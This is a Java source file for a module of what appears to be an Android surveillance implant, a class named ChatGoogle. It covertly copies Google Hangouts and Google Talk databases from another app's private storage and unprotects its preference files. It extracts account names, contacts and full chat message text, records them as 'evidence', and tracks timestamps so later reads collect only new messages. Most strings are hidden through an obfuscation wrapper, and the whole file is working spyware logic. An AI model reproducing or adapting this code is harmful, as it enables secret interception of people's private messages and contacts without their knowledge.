package com.android.dvci.module.chat; import android.database.Cursor; import com.android.dvci.auto.Cfg; import com.android.dvci.db.GenericSqliteHelper; import com.android.dvci.db.RecordVisitor; import com.android.dvci.file.Path; import com.android.dvci.manager.ManagerModule; import com.android.dvci.module.ModuleAddressBook; import com.android.dvci.util.Check; import com.android.dvci.util.StringUtils; import com.android.mm.M; import org.w3c.dom.Document; import org.w3c.dom.NamedNodeMap; import org.w3c.dom.Node; import org.w3c.dom.NodeList; import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.Date; import java.util.List; import java.util.concurrent.Semaphore; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; public class ChatGoogle extends SubModuleChat { private static final String TAG = "ChatGoogle"; private static final int PROGRAM = 0x04; String pObserving = M.e("com.google.android.talk"); private Semaphore readBabelSemaphore = new Semaphore(1); @Override int getProgramId() { return PROGRAM; } @Override String getObservingProgram() { return pObserving; } @Override void notifyStopProgram(String processName) { if (Cfg.DEBUG) { Check.log(TAG + " (notification stop)"); } readChatMessages(); } /** * Estrae dal file RegisterPhone.xml il numero di telefono * * @return */ @Override protected void start() { if (Cfg.DEBUG) { Check.log(TAG + " (actualStart)"); } readChatMessages(); } private void readChatMessages() { if (!readBabelSemaphore.tryAcquire()) { return; } try { long[] lastLines = markup.unserialize(new long[2]); String babel0 = M.e("babel0.db"); String babel1 = M.e("babel1.db"); String account = readAccount("1.name"); if (StringUtils.isEmpty(account) || !readHangoutMessages(lastLines, babel1, account)) { if (Cfg.DEBUG) { Check.log(TAG + " (readChatMessages) try babel0"); } account = readAccount("0.name"); readHangoutMessages(lastLines, babel0, account); } readGoogleTalkMessages(lastLines); serializeMarkup(lastLines); } finally { readBabelSemaphore.release(); } } private void serializeMarkup(long[] lastLines) { if (Cfg.DEBUG) { Check.log(TAG + " (readChatMessages): updating markup"); } try { markup.writeMarkupSerializable(lastLines); } catch (IOException e) { if (Cfg.DEBUG) { Check.log(TAG + " (readChatWeChatMessages) Error: " + e); } } } private boolean readHangoutMessages(long[] lastLines, String dbFile, String account) { String dbDir = M.e("/data/data/com.google.android.talk/databases"); //if (ManagerModule.self().isInstancedAgent(ModuleAddressBook.class)) { // saveContacts(helper); //} String sql_c = M.e("select cp.conversation_id, latest_message_timestamp, full_name, latest_message_timestamp from conversations as c ") + M.e("join conversation_participants as cp on c.conversation_id=cp.conversation_id join participants as p on cp.participant_row_id=p._id"); // babel GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile); if (helper == null) { return false; } try { ChatGroups groups = new ChatGroups(); long newHangoutReadDate = 0; List<HangoutConversation> conversations = getHangoutConversations(helper, account, lastLines[1]); for (HangoutConversation sc : conversations) { if (Cfg.DEBUG) { Check.log(TAG + " (readHangoutMessages) conversation: " + sc.id + " date: " + sc.date); } // retrieves the lastConvId recorded as evidence for this // conversation if (sc.isGroup() && !groups.hasMemoizedGroup(sc.id)) { fetchHangoutParticipants(helper, account, sc.id, groups); //groups.addPeerToGroup(sc.id, account); } long lastReadId = fetchHangoutMessages(helper, sc, groups, lastLines[1]); newHangoutReadDate = Math.max(newHangoutReadDate, lastReadId); } if (newHangoutReadDate > 0) { lastLines[1] = newHangoutReadDate; } } finally { helper.disposeDb(); } return true; } private long fetchHangoutMessages(GenericSqliteHelper helper, final HangoutConversation conversation, final ChatGroups groups, long lastTimestamp) { final ArrayList<MessageChat> messages = new ArrayList<MessageChat>(); String sql_m = String.format(M.e("select m._id, full_name, fallback_name ,text, timestamp, type, p.chat_id ") + M.e("from messages as m join participants as p on m.author_chat_id = p.chat_id where type<3 and conversation_id='%s' and timestamp>%s"), conversation.id, lastTimestamp); RecordVisitor visitor = new RecordVisitor() { @Override public long cursor(Cursor cursor) { // I read a line in a conversation. int id = cursor.getInt(0); String fullName = cursor.getString(1); String fallback_name = cursor.getString(2); String body = cursor.getString(3); long timestamp = cursor.getLong(4); boolean incoming = cursor.getInt(5) == 2; String chat_id = cursor.getString(6); String peer = fullName; //if (fallback_name!=null) // peer = fallback_name; // localtime or gmt? should be converted to gmt Date date = new Date(timestamp / 1000); if (Cfg.DEBUG) { Check.log(TAG + " (cursor) peer: " + peer + " timestamp: " + timestamp + " incoming: " + incoming); } boolean isGroup = conversation.isGroup(); if (Cfg.DEBUG) { Check.log(TAG + " (cursor) incoming: " + incoming + " group: " + isGroup); } String from, to = null; String fromDisplay, toDisplay = null; from = incoming ? peer : conversation.account; fromDisplay = incoming ? peer : conversation.account; Contact contact = groups.getContact(peer); if (isGroup) { // if (peer.equals("0")) { // peer = conversation.account; // } to = groups.getGroupToName(from, conversation.id); toDisplay = to; } else { to = incoming ? conversation.account : conversation.remote; toDisplay = incoming ? conversation.account : conversation.remote; } if (!StringUtils.isEmpty(body)) { MessageChat message = new MessageChat(getProgramId(), date, from, fromDisplay, to, toDisplay, body, incoming); if (Cfg.DEBUG) { Check.log(TAG + " (cursor) message: " + message.from + " " + (message.incoming ? "<-" : "->") + " " + message.to + " : " + message.body); } messages.add(message); } return timestamp; } }; long newLastId = helper.traverseRawQuery(sql_m, new String[]{}, visitor); if (messages != null && messages.size() > 0) { saveEvidence(messages); } return newLastId; } public void saveEvidence(ArrayList<MessageChat> messages) { getModule().saveEvidence(messages); } private void fetchHangoutParticipants(GenericSqliteHelper helper, final String account, final String thread_id, final ChatGroups groups) { if (Cfg.DEBUG) { Check.log(TAG + " (fetchHangoutParticipants) : " + thread_id); } RecordVisitor visitor = new RecordVisitor() { @Override public long cursor(Cursor cursor) { String id = cursor.getString(0); String fullname = cursor.getString(1); String fallback = cursor.getString(2); Contact contact; String email = fullname; if (email == null) return 0; contact = new Contact(id, email, fullname, ""); if (Cfg.DEBUG) { Check.log(TAG + " (fetchParticipants) %s", contact); } if (email != null) { groups.addPeerToGroup(thread_id, contact); } return 0; } }; String sqlquery = M.e("select p.chat_id, full_name, fallback_name, cp.conversation_id from conversation_participants as cp join participants as p on cp.participant_row_id=p._id where conversation_id=?"); helper.traverseRawQuery(sqlquery, new String[]{thread_id}, visitor); } private List<HangoutConversation> getHangoutConversations(GenericSqliteHelper helper, final String account, long timestamp) { final List<HangoutConversation> conversations = new ArrayList<HangoutConversation>(); String[] projection = new String[]{M.e("conversation_id"), M.e("latest_message_timestamp"), M.e("conversation_type"), M.e("generated_name")}; String selection = "latest_message_timestamp > " + timestamp; RecordVisitor visitor = new RecordVisitor(projection, selection) { @Override public long cursor(Cursor cursor) { HangoutConversation c = new HangoutConversation(); c.account = account; c.id = cursor.getString(0); c.date = cursor.getLong(1); c.group = cursor.getInt(2) == 2; c.remote = cursor.getString(3); c.group = true; conversations.add(c); return 0; } }; helper.traverseRecords(M.e("conversations"), visitor); return conversations; } private String readAccount(String nameField) { String xmlDir = M.e("/data/data/com.google.android.talk/shared_prefs"); String xmlFile = M.e("accounts.xml"); Path.unprotect(xmlDir, xmlFile, true); DocumentBuilder builder; String account = null; try { builder = DocumentBuilderFactory.newInstance().newDocumentBuilder(); Document doc = builder.parse(new File(xmlDir, xmlFile)); NodeList defaults = doc.getElementsByTagName("string"); for (int i = 0; i < defaults.getLength(); i++) { Node d = defaults.item(i); NamedNodeMap attributes = d.getAttributes(); Node attr = attributes.getNamedItem("name"); // nameField = "0.name" if (nameField.equals(attr.getNodeValue())) { Node child = d.getFirstChild(); account = child.getNodeValue(); break; } } } catch (Exception e) { if (Cfg.DEBUG) { Check.log(TAG + " (readAccount) Error: " + e); } } if (account != null) { ModuleAddressBook.createEvidenceLocal(ModuleAddressBook.GOOGLE, account); } return account; } private void readGoogleTalkMessages(long[] lastLines) { if (Cfg.DEBUG) { Check.log(TAG + " (readChatMessages)"); } try { String dbFile = M.e("talk.db"); String dbDir = M.e("/data/data/com.google.android.gsf/databases"); GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile); if (helper == null) { if (Cfg.DEBUG) { Check.log(TAG + " (readChatMessages) Error, file not readable: " + dbFile); } return; } try { setMyAccount(helper); // Save contacts if AddressBook is active if (ManagerModule.self().isInstancedAgent(ModuleAddressBook.class)) { saveContacts(helper); } long newLastLine = fetchGTalkMessages(helper, lastLines[0]); lastLines[0] = newLastLine; } finally { helper.disposeDb(); } } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + " (readChatWeChatMessages) Error: ", ex); } } } private long fetchGTalkMessages(GenericSqliteHelper helper, long lastLine) { final ArrayList<MessageChat> messages = new ArrayList<MessageChat>(); String sqlquery = M.e("select m.date, ac.name, m.type, body, co.username, co.nickname from messages as m join contacts as co on m.thread_id = co._id join accounts as ac on co.account = ac._id where m.consolidation_key is null and m.type<=1 and m.date>?"); RecordVisitor visitor = new RecordVisitor() { @Override public long cursor(Cursor cursor) { long createTime = cursor.getLong(0); // localtime or gmt? should be converted to gmt Date date = new Date(createTime); String account = cursor.getString(1); int isSend = cursor.getInt(2); boolean incoming = isSend == 1; String content = cursor.getString(3); String co_username = cursor.getString(4); String co_nick = cursor.getString(5); if (Cfg.DEBUG) { Check.log(TAG + " (cursor) %s] %s %s %s: %s ", date, account, (incoming ? "<-" : "->"), co_nick, content); } String from_id, from_display, to_id, to_display; if (co_nick == null || co_nick.startsWith(M.e("private-chat"))) { return 0; } if (incoming) { from_id = co_username; from_display = co_nick; to_id = account; to_display = account; } else { from_id = account; from_display = account; to_id = co_username; to_display = co_nick; } if (Cfg.DEBUG) { Check.log(TAG + " (cursor) %s -> %s", from_id, to_id); } MessageChat message = new MessageChat(PROGRAM, date, from_id, from_display, to_id, to_display, content, incoming); messages.add(message); return createTime; } }; long lastCreationLine = helper.traverseRawQuery(sqlquery, new String[]{Long.toString(lastLine)}, visitor); getModule().saveEvidence(messages); return lastCreationLine; } private void setMyAccount(GenericSqliteHelper helper) { String[] projection = new String[]{"_id", "name", "username"}; RecordVisitor visitor = new RecordVisitor() { @Override public long cursor(Cursor cursor) { int id = cursor.getInt(0); String name = cursor.getString(1); String username = cursor.getString(2); if (Cfg.DEBUG) { Check.log(TAG + " (setMyAccount) %s, %s", name, username); } ModuleAddressBook.createEvidenceLocal(ModuleAddressBook.GOOGLE, name); return id; } }; long ret = helper.traverseRecords("accounts", visitor); } private void saveContacts(GenericSqliteHelper helper) { String[] projection = new String[]{"username", "nickname"}; boolean tosave = false; RecordVisitor visitor = new RecordVisitor(projection, "nickname not null ") { @Override public long cursor(Cursor cursor) { String username = cursor.getString(0); String nick = cursor.getString(1); Contact c = new Contact(username, username, nick, ""); if (username != null && !username.endsWith(M.e("public.talk.google.com"))) { if (ModuleAddressBook.createEvidenceRemote(ModuleAddressBook.GOOGLE, c)) { if (Cfg.DEBUG) { Check.log(TAG + " (cursor) need to serialize"); } return 1; } } return 0; } }; if (helper.traverseRecords(M.e("contacts"), visitor) == 1) { if (Cfg.DEBUG) { Check.log(TAG + " (saveContacts) serialize"); } ModuleAddressBook.getInstance().serializeContacts(); } } }